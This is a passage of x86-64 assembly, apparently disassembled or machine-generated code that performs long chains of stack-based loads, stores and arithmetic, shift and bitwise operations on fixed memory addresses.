movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3b], al
movzx eax, byte [rsp + 0x69]
mov byte [rsp + 0xb1], al
mov rax, qword [rsp + 0x5710]
mov rcx, qword [rsp + 0x5b98]
mov qword [rsp + 0x5ca0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5ca0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x57e8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2c70]
mov dword [rsp + 0x2ca0], eax
mov rax, qword [rsp + 0x57e0]
mov rcx, qword [rsp + 0x4b80]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x52f8], rax
mov rax, qword [rsp + 0x5478]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5b18]
mov qword [rsp + 0x5ca8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5ca8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2b54], eax
lea rax, [0x1401141bb]
mov qword [rsp + 0x5cb0], rax
mov rax, qword [rsp + 0x5a18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5c00]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401142b0], ax
mov rax, qword [rsp + 0x58e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8e0]
add eax, ecx
mov word [rsp + 0x8c4], ax
mov rax, qword [rsp + 0x56e0]
movzx eax, byte [rax]
mov byte [rsp + 0xb2], al
mov rax, qword [rsp + 0x5c98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x908]
and eax, ecx
mov word [rsp + 0x8fc], ax
lea rax, [rsp + 0x2c44]
mov qword [rsp + 0x5cb8], rax
mov rax, qword [rsp + 0x5670]
mov rcx, qword [rsp + 0x56d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ce8], rax
mov rax, qword [rsp + 0x5628]
mov rcx, qword [rsp + 0x4e50]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4da0]
mov qword [rcx], rax
lea rax, [rsp + 0x2c40]
mov qword [rsp + 0x5cc0], rax
movsx eax, word [rsp + 0x960]
mov rcx, qword [0x140114258]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5258]
mov word [rcx], ax
movsx eax, byte [rsp + 0xa7]
mov rcx, qword [rsp + 0x5068]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14011302a], al
movzx eax, byte [rsp + 0x7a]
mov byte [rsp + 0xb3], al
movzx eax, word [0x140113070]
mov rcx, qword [rsp + 0x51c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x97c], ax
movsx eax, word [rsp + 0x9c4]
movsx ecx, word [rsp + 0x9cc]
sub eax, ecx
mov word [rsp + 0x84c], ax
mov rax, qword [rsp + 0x5430]
mov qword [rsp + 0x5cc8], rax
mov rax, qword [rsp + 0x5448]
mov rcx, qword [rsp + 0x59e8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
lea rax, [rsp + 0x2af0]
mov qword [rsp + 0x5cd0], rax
mov rax, qword [rsp + 0x55e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c68]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c84], eax
mov rax, qword [rsp + 0x5bb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x948]
shl eax, cl
mov rcx, qword [rsp + 0x5c00]
mov word [rcx], ax
lea rax, [rsp + 0xaf]
mov qword [0x140114368], rax
lea rax, [rsp + 0xa5]
mov qword [rsp + 0x5cd8], rax
mov rax, qword [rsp + 0x5208]
movsx eax, word [rax]
mov rcx, qword [0x1401141d0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5408]
mov word [rcx], ax
movzx eax, byte [rsp + 0x48]
mov byte [rsp + 0xb4], al
mov rax, qword [rsp + 0x50f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5480]
mov qword [rsp + 0x5ce0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5ce0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x50c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5390]
mov ecx, dword [rsp + 0x29f0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2ba0], eax
lea rax, [rsp + 0x5388]
mov qword [rsp + 0x5ce8], rax
mov rax, qword [rsp + 0x55d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b60], eax
movzx eax, word [0x140114318]
mov word [rsp + 0xa04], ax
movsx eax, byte [rsp + 0x3e]
movsx ecx, byte [rsp + 0x57]
sub eax, ecx
mov byte [0x14011303a], al
movzx eax, byte [rsp + 0x9b]
movzx ecx, byte [rsp + 0x4f]
and eax, ecx
mov byte [rsp + 0x4c], al
mov rax, qword [0x140114190]
movzx eax, byte [rax]
mov byte [rsp + 0xb5], al
movzx eax, word [rsp + 0x89c]
mov rcx, qword [rsp + 0x5850]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x980], ax
movzx eax, byte [rsp + 0x72]
movzx ecx, byte [rsp + 0x54]
sub eax, ecx
mov byte [rsp + 0x34], al
mov rax, qword [rsp + 0x5550]
mov eax, dword [rax]
mov dword [rsp + 0x2ca4], eax
mov rax, qword [rsp + 0x5140]
mov ecx, dword [rsp + 0x2b04]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2be0], eax
mov rax, qword [rsp + 0x5c20]
mov rax, qword [rax]
mov qword [rsp + 0x5cf0], rax
mov rax, qword [rsp + 0x5548]
mov rcx, qword [rsp + 0x5ac0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x52e8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x78]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401141a0]
mov byte [rcx], al
movsx eax, word [rsp + 0x904]
mov rcx, qword [rsp + 0x5510]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x890], ax
mov rax, qword [rsp + 0x5bb8]
movzx eax, word [rax]
mov word [rsp + 0xa08], ax
mov rax, qword [rsp + 0x5cd8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x44]
add eax, ecx
mov byte [rsp + 0x34], al
mov rax, qword [rsp + 0x52b8]
movzx eax, word [rax]
mov word [rsp + 0xa0c], ax
mov rax, qword [rsp + 0x5b78]
mov rcx, qword [rsp + 0x5c10]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b78], rax
mov eax, dword [rsp + 0x2c30]
mov ecx, dword [rsp + 0x2980]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5c78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x52b0]
mov eax, dword [rax]
mov dword [rsp + 0x2ca8], eax
mov rax, qword [rsp + 0x5670]
movzx ecx, al
mov rax, qword [rsp + 0x5690]
shr rax, cl
mov qword [rsp + 0x5430], rax
movsx eax, word [rsp + 0x8c0]
movsx ecx, word [rsp + 0x994]
shl eax, cl
mov word [0x1401142e4], ax
mov rax, qword [rsp + 0x4f88]
movzx eax, byte [rax]
mov byte [rsp + 0xb6], al
mov rax, qword [0x140114348]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5130]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x9fc], ax
movzx eax, byte [rsp + 0x39]
mov byte [rsp + 0xb7], al
mov rax, qword [rsp + 0x5968]
movsx eax, word [rax]
mov rcx, qword [0x1401141a8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x9cc], ax
mov rax, qword [rsp + 0x4c90]
mov rcx, qword [rsp + 0x5610]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x59c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5280]
mov eax, dword [rax]
mov dword [rsp + 0x2cac], eax
mov rax, qword [rsp + 0x50e8]
mov rcx, qword [rsp + 0x5a48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5618]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5800]
mov rax, qword [rax]
mov qword [rsp + 0x5cf8], rax
movzx eax, word [rsp + 0x918]
mov word [0x140114370], ax
mov rax, qword [rsp + 0x5468]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xae]
and eax, ecx
mov byte [rsp + 0x63], al
movsx eax, byte [0x140114154]
movsx ecx, byte [rsp + 0x68]
add eax, ecx
mov byte [rsp + 0x43], al
lea rax, [rsp + 0x50]
mov qword [rsp + 0x5d00], rax
movsx eax, word [rsp + 0x924]
movsx ecx, word [rsp + 0x96c]
add eax, ecx
mov rcx, qword [rsp + 0x4e58]
mov word [rcx], ax
mov eax, dword [rsp + 0x2be8]
mov dword [rsp + 0x2cb0], eax
mov rax, qword [rsp + 0x5098]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5cf0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x56e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5a78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4e60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5710], rax
lea rax, [rsp + 0x2c80]
mov qword [rsp + 0x5d08], rax
mov rax, qword [rsp + 0x5b50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x84c]
sub eax, ecx
mov word [0x140113078], ax
movzx eax, word [rsp + 0x8ac]
movzx ecx, word [0x140114370]
xor eax, ecx
mov rcx, qword [rsp + 0x5bb8]
mov word [rcx], ax
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x5d10], rax
mov rax, qword [rsp + 0x5c60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xaf]
sar eax, cl
mov byte [rsp + 0x79], al
movzx eax, word [rsp + 0x9a8]
movzx ecx, word [rsp + 0x948]
or eax, ecx
mov rcx, qword [rsp + 0x5720]
mov word [rcx], ax
mov rax, qword [rsp + 0x50e0]
mov rax, qword [rax]
mov qword [rsp + 0x5d18], rax
mov rax, qword [rsp + 0x5138]
mov rcx, qword [rsp + 0x54d0]
mov qword [rsp + 0x5d20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5d20]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x5c38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5b68]
mov eax, dword [rax]
mov dword [rsp + 0x2cb4], eax
mov rax, qword [rsp + 0x4dd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c9c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x56b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5508]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x990]
sub eax, ecx
mov rcx, qword [0x140114218]
mov word [rcx], ax
movzx eax, byte [rsp + 0x78]
mov byte [rsp + 0xb8], al
movzx eax, byte [rsp + 0x4c]
movzx ecx, byte [rsp + 0xae]
sub eax, ecx
mov rcx, qword [rsp + 0x5308]
mov byte [rcx], al
movzx eax, word [rsp + 0x974]
mov rcx, qword [rsp + 0x5c00]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x89c], ax
lea rax, [rsp + 0x860]
mov qword [rsp + 0x5d28], rax
mov rax, qword [rsp + 0x5480]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5610]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5ae8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b4c]
mov dword [rsp + 0x2cb8], eax
mov rax, qword [rsp + 0x4ce8]
mov rcx, qword [rsp + 0x59f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ef8], rax
mov rax, qword [rsp + 0x5b60]
mov ecx, dword [rsp + 0x2b20]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2c1c], eax
lea rax, [rsp + 0x34]
mov qword [0x140114378], rax
movzx eax, word [rsp + 0x938]
mov word [rsp + 0xa10], ax
movsx eax, word [0x14011306c]
mov rcx, qword [rsp + 0x54b8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5940]
mov word [rcx], ax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x5d30], rax
movsx eax, byte [rsp + 0xa7]
mov rcx, qword [rsp + 0x52d8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x82], al
mov eax, dword [rsp + 0x2b90]
mov ecx, dword [rsp + 0x2a98]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5550]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4bb0]
mov eax, dword [rax]
mov dword [rsp + 0x2cbc], eax
mov rax, qword [rsp + 0x4b28]
mov rcx, qword [rsp + 0x4db8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5ce8]
mov qword [rcx], rax
lea rax, [rsp + 0x4ec8]
mov qword [rsp + 0x5d38], rax
mov rax, qword [rsp + 0x56f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8c8]
xor eax, ecx
mov word [0x14011306c], ax
mov rax, qword [rsp + 0x5700]
movzx eax, byte [rax]
mov rcx, qword [0x140114250]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x64], al
movsx eax, byte [rsp + 0xa7]
movsx ecx, byte [rsp + 0x39]
sar eax, cl
mov byte [rsp + 0x6c], al
mov rax, qword [rsp + 0x4e88]
movzx eax, word [rax]
mov word [rsp + 0xa14], ax
movsx eax, byte [rsp + 0x6b]
mov rcx, qword [0x140114310]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4c70]
mov byte [rcx], al
mov rax, qword [rsp + 0x57d8]
mov rax, qword [rax]
mov qword [rsp + 0x5d40], rax
mov rax, qword [rsp + 0x5320]
mov rcx, qword [rsp + 0x5838]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ee8]
mov eax, dword [rax]
mov dword [rsp + 0x2cc0], eax
mov rax, qword [rsp + 0x56f0]
mov ecx, dword [rsp + 0x2b88]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x51a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5620]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa08], ax
movsx eax, byte [rsp + 0xb7]
movsx ecx, byte [rsp + 0x57]
add eax, ecx
mov byte [0x14011303b], al
lea rax, [rsp + 0x59]
mov qword [rsp + 0x5d48], rax
mov rax, qword [rsp + 0x5758]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa04]
add eax, ecx
mov rcx, qword [rsp + 0x5508]
mov word [rcx], ax
mov rax, qword [0x140114170]
movzx eax, word [rax]
mov word [rsp + 0xa18], ax
mov rax, qword [rsp + 0x4c90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5870]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5a50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ee0]
mov ecx, dword [rsp + 0x2ba4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5c08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2c0c]
mov dword [rsp + 0x2cc4], eax
mov rax, qword [rsp + 0x57d8]
mov rcx, qword [rsp + 0x5010]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5710], rax
mov rax, qword [rsp + 0x5848]
movzx eax, word [rax]
mov word [rsp + 0xa1c], ax
mov rax, qword [rsp + 0x4f58]
movzx eax, byte [rax]
movzx ecx, byte [0x1401141bb]
add eax, ecx
mov rcx, qword [0x140114378]
mov byte [rcx], al
mov rax, qword [rsp + 0x5a00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8d4]
or eax, ecx
mov rcx, qword [rsp + 0x5b48]
mov word [rcx], ax
movsx eax, byte [rsp + 0xb7]
mov rcx, qword [rsp + 0x4c08]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5868]
mov byte [rcx], al
movzx eax, byte [rsp + 0x8d]
mov byte [rsp + 0xb9], al
mov rax, qword [rsp + 0x53a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c9c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c70], eax
mov eax, dword [rsp + 0x2c88]
mov dword [rsp + 0x2cc8], eax
mov rax, qword [rsp + 0x5950]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x140114160]
shl rax, cl
mov rcx, qword [rsp + 0x54f8]
mov qword [rcx], rax
lea rax, [rsp + 0x5798]
mov qword [rsp + 0x5d50], rax
mov rax, qword [rsp + 0x5868]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5c60]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x50a8]
mov byte [rcx], al
mov rax, qword [0x140114338]
movzx eax, word [rax]
mov word [0x140114380], ax
movzx eax, byte [rsp + 0xa5]
mov rcx, qword [rsp + 0x52d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x58b8]
mov byte [rcx], al
movzx eax, word [rsp + 0x88c]
mov word [rsp + 0xa20], ax
movzx eax, byte [rsp + 0x3a]
movzx ecx, byte [rsp + 0x93]
add eax, ecx
mov rcx, qword [rsp + 0x5308]
mov byte [rcx], al
lea rax, [rsp + 0x4ed8]
mov qword [rsp + 0x5d58], rax
mov rax, qword [rsp + 0x5348]
mov rcx, qword [rsp + 0x5680]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5a48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5588]
mov rcx, qword [rsp + 0x59c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5480]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2c78]
mov dword [rsp + 0x2ccc], eax
mov rax, qword [rsp + 0x52a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5a]
sub eax, ecx
mov byte [rsp + 0x84], al
mov rax, qword [0x140114240]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5560]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14011304c], ax
mov rax, qword [rsp + 0x56b0]
movzx eax, word [rax]
mov word [rsp + 0xa24], ax
movzx eax, byte [rsp + 0xad]
mov rcx, qword [rsp + 0x59d0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x59], al
movzx eax, word [rsp + 0x970]
movzx ecx, word [rsp + 0x964]
sub eax, ecx
mov word [rsp + 0x998], ax
lea rax, [rsp + 0x9e4]
mov qword [rsp + 0x5d60], rax
mov rax, qword [rsp + 0x4f78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5178]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x5bc0], rax
lea rax, [rsp + 0x5910]
mov qword [rsp + 0x5d68], rax
mov eax, dword [rsp + 0x2b90]
mov ecx, dword [rsp + 0x2c14]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b64], eax
mov rax, qword [rsp + 0x5bc8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5af8]
mov qword [rsp + 0x5d70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5d70]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2b10], eax
movzx eax, byte [rsp + 0x5b]
movzx ecx, byte [rsp + 0x59]
sar eax, cl
mov byte [0x14011303e], al
movzx eax, byte [rsp + 0x70]
mov byte [rsp + 0xba], al
movzx eax, word [rsp + 0x930]
mov rcx, qword [rsp + 0x5b30]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x92c], ax
mov rax, qword [rsp + 0x5b20]
movzx eax, word [rax]
mov word [rsp + 0xa28], ax
movsx eax, byte [rsp + 0x85]
movsx ecx, byte [rsp + 0x8d]
and eax, ecx
mov byte [rsp + 0x88], al
lea rax, [rsp + 0x5b40]
mov qword [rsp + 0x5d78], rax
mov rax, qword [rsp + 0x4fe8]
mov ecx, dword [rsp + 0x2b58]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5c40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c50]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5618]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c68]
mov rax, qword [rax]
mov qword [rsp + 0x5d80], rax
mov rax, qword [0x140114338]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x55e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140113028], ax
mov rax, qword [rsp + 0x51c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5058]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x870], ax
lea rax, [0x140114157]
mov qword [rsp + 0x5d88], rax
movzx eax, byte [rsp + 0xb6]
movzx ecx, byte [rsp + 0x90]
add eax, ecx
mov byte [rsp + 0x7c], al
mov rax, qword [rsp + 0x4f30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x59d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x54f0]
mov byte [rcx], al
lea rax, [rsp + 0x2a5c]
mov qword [rsp + 0x5d90], rax
mov rax, qword [rsp + 0x53c8]
mov rcx, qword [rsp + 0x4b90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5220]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2c84]
mov dword [rsp + 0x2cd0], eax
mov rax, qword [rsp + 0x56a8]
mov rcx, qword [rsp + 0x5588]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5950]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ef0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5510]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x140114158]
mov word [rcx], ax
mov rax, qword [rsp + 0x4de0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5018]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5b58]
mov word [rcx], ax
mov rax, qword [0x140114268]
movzx eax, byte [rax]
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0x58e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5068]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x43], al
lea rax, [rsp + 0x8a8]
mov qword [rsp + 0x5d98], rax
mov rax, qword [rsp + 0x5158]
mov rcx, qword [rsp + 0x5cf8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x5498], rax
lea rax, [rsp + 0x2b7c]
mov qword [rsp + 0x5da0], rax
mov rax, qword [rsp + 0x5c08]
mov ecx, dword [rsp + 0x29bc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5390]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c90]
mov rax, qword [rax]
mov rcx, qword [0x140114160]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5d18], rax
lea rax, [rsp + 0x848]
mov qword [0x140114388], rax
movzx eax, byte [rsp + 0x5d]
mov byte [rsp + 0xbc], al
mov rax, qword [rsp + 0x51d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5490]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x93], al
lea rax, [rsp + 0x8c4]
mov qword [rsp + 0x5da8], rax
movzx eax, byte [rsp + 0x9d]
mov rcx, qword [rsp + 0x5020]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ed0]
mov byte [rcx], al
mov eax, dword [rsp + 0x2a88]
mov ecx, dword [rsp + 0x2b60]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5c70]
mov qword [rsp + 0x5db0], rax
mov rax, qword [rsp + 0x4d78]
mov rcx, qword [rsp + 0x5390]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2c74], eax
lea rax, [rsp + 0x4fb0]
mov qword [rsp + 0x5db8], rax
lea rax, [rsp + 0x38]
mov qword [0x140114390], rax
mov rax, qword [rsp + 0x5d60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x84c]
sub eax, ecx
mov rcx, qword [rsp + 0x5b28]
mov word [rcx], ax
mov rax, qword [rsp + 0x58e8]
movsx eax, byte [rax]
movsx ecx, byte [0x140114155]
add eax, ecx
mov byte [rsp + 0x32], al
lea rax, [rsp + 0x9f0]
mov qword [rsp + 0x5dc0], rax
mov rax, qword [rsp + 0x5110]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x33]
sub eax, ecx
mov rcx, qword [rsp + 0x59c8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2b94]
mov dword [rsp + 0x2cd4], eax
mov rax, qword [rsp + 0x5678]
mov rcx, qword [rsp + 0x59e0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5220]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5c50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bfc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bc4], eax
mov rax, qword [rsp + 0x52f0]
mov qword [rsp + 0x5dc8], rax
movzx eax, word [rsp + 0x870]
movzx ecx, word [rsp + 0x8fc]
sar eax, cl
mov word [0x140113010], ax
movsx eax, byte [rsp + 0x98]
movsx ecx, byte [rsp + 0x3d]
xor eax, ecx
mov byte [rsp + 0x37], al
mov rax, qword [rsp + 0x51c8]
movzx eax, word [rax]
mov word [rsp + 0xa2c], ax
movsx eax, word [rsp + 0x904]
mov rcx, qword [rsp + 0x5c18]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov word [rcx], ax
mov rax, qword [rsp + 0x5738]
movzx eax, byte [rax]
mov byte [rsp + 0xbd], al
mov rax, qword [rsp + 0x5c28]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2c1c]
shl eax, cl
mov dword [rsp + 0x2bc8], eax
mov rax, qword [rsp + 0x51f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5650]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5188], rax
mov eax, dword [rsp + 0x2b34]
mov dword [rsp + 0x2cd8], eax
mov rax, qword [rsp + 0x4e70]
mov rcx, qword [0x140114160]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5808], rax
movzx eax, byte [rsp + 0x9c]
movzx ecx, byte [rsp + 0x3c]
add eax, ecx
mov byte [0x140114213], al
lea rax, [rsp + 0x8a8]
mov qword [rsp + 0x5dd0], rax
mov rax, qword [rsp + 0x4f08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x56]
and eax, ecx
mov byte [rsp + 0x6e], al
movzx eax, word [rsp + 0x9f0]
mov rcx, qword [rsp + 0x5dc0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x900], ax
mov rax, qword [rsp + 0x4f80]
movzx eax, word [rax]
mov word [rsp + 0xa30], ax
mov rax, qword [0x140113008]
mov rcx, qword [rsp + 0x5250]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x52c0], rax
mov eax, dword [rsp + 0x2a88]
mov dword [rsp + 0x2cdc], eax
mov rax, qword [rsp + 0x5030]
mov rcx, qword [rsp + 0x5dc8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5960], rax
mov rax, qword [rsp + 0x5640]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bbc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5778]
mov dword [rcx], eax
lea rax, [rsp + 0x9cc]
mov qword [rsp + 0x5dd8], rax
mov rax, qword [rsp + 0x5668]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9f0]
sub eax, ecx
mov word [0x14011307c], ax
mov rax, qword [0x1401142e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x54f0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5360]
mov byte [rcx], al
mov rax, qword [rsp + 0x5d00]
movzx eax, byte [rax]
mov byte [rsp + 0xbe], al
mov rax, qword [rsp + 0x5868]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x70]
shl eax, cl
mov rcx, qword [rsp + 0x5be0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e40]
mov rcx, qword [rsp + 0x5548]
mov qword [rsp + 0x5de0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5de0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x5c58], rax
lea rax, [rsp + 0x2bcc]
mov qword [rsp + 0x5de8], rax
mov rax, qword [rsp + 0x5358]
mov ecx, dword [rsp + 0x2cb8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2cc8], eax
lea rax, [0x140114160]
mov qword [rsp + 0x5df0], rax
movzx eax, byte [rsp + 0x6a]
movzx ecx, byte [rsp + 0x48]
and eax, ecx
mov byte [rsp + 0x91], al
movsx eax, word [rsp + 0x850]
mov rcx, qword [rsp + 0x5510]
movsx ecx, word [rcx]
sub eax, ecx
